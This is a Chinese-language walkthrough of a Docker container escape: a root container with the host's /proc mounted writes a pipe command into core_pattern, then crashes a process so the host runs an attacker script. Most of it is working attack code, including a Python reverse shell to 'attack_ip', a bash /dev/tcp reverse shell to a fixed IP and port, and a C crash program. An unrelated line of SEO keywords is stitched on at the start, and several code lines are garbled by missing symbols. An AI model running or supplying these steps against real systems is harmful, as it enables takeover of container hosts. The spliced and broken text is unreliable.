深圳做地铁的公司网站,百度站长工具网站,网吧可以做网站吗,免费域名注册一、产生原因
将宿主机/proc目录挂载进了容器#xff0c;而该目录内的/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的#xff0c;当第一个字符是| 管道符时#xff0c;后面的部分会以命令行的方式进行解析并运行#xff0c;攻击者可以将恶意文件写入该…一、产生原因
将宿主机/proc目录挂载进了容器而该目录内的/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的当第一个字符是| 管道符时后面的部分会以命令行的方式进行解析并运行攻击者可以将恶意文件写入该文件同时运行进程崩溃代码执行恶意文件
二、利用条件
1、容器内挂载了宿主机的/proc目录
2、容器以root权限运行
三、复现过程
1、启动容器挂载/proc目录
docker run -itd -v /proc:/etc_proc --namedocker_escape ubuntu:18.04 /bin/bash
2、寻找容器在宿主机上的目录路径
cat /proc/mounts | grep docker
这就是容器在宿主机上的目录路径
我们在容器内创建的文件最终都会保存在宿主机中
3、写反弹shell脚本到/tmp目录下
这里可以写Python也可以写shell脚本
Python
root8ba918290061:/# cat /tmp/.x.py EOF#!/usr/bin/pythonimport osimport ptyimport socketlhost attack_iplport 10000def main():s socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv(HISTFILE, /dev/null)pty.spawn(/bin/bash)os.remove(/tmp/.x.py)s.close()if __name__ __main__:main()EOF
需要容器内有Python环境 shell
#!/bin/bashbash -i /dev/tcp/192.168.239.138/2333 01
最后别忘了加执行权限
chmod x /tmp/exp.sh
4、在文件中/proc/sys/kernel/core_pattern 写入恶意文件
root8ba918290061:/# echo -e |/var/lib/docker/overlay2/629ba8f61b2311847d094297a0020d1f899d3072d9e82a12496ff2a919928963/diff/tmp/exp.sh \rcore /etc_proc/sys/kernel/core_pattern
写入后当进程崩溃后该文件内管道符| 后的文件会被执行从而执行了我们的exp.sh文件反弹shell
5、执行c代码使进程崩溃
#includestdio.h
int main(void) {int *a NULL;*a 1;return 0;
}
最后加执行权限编译后执行
chmod x payload.c
gcc payload.c -o payload
./payload
成功反弹shell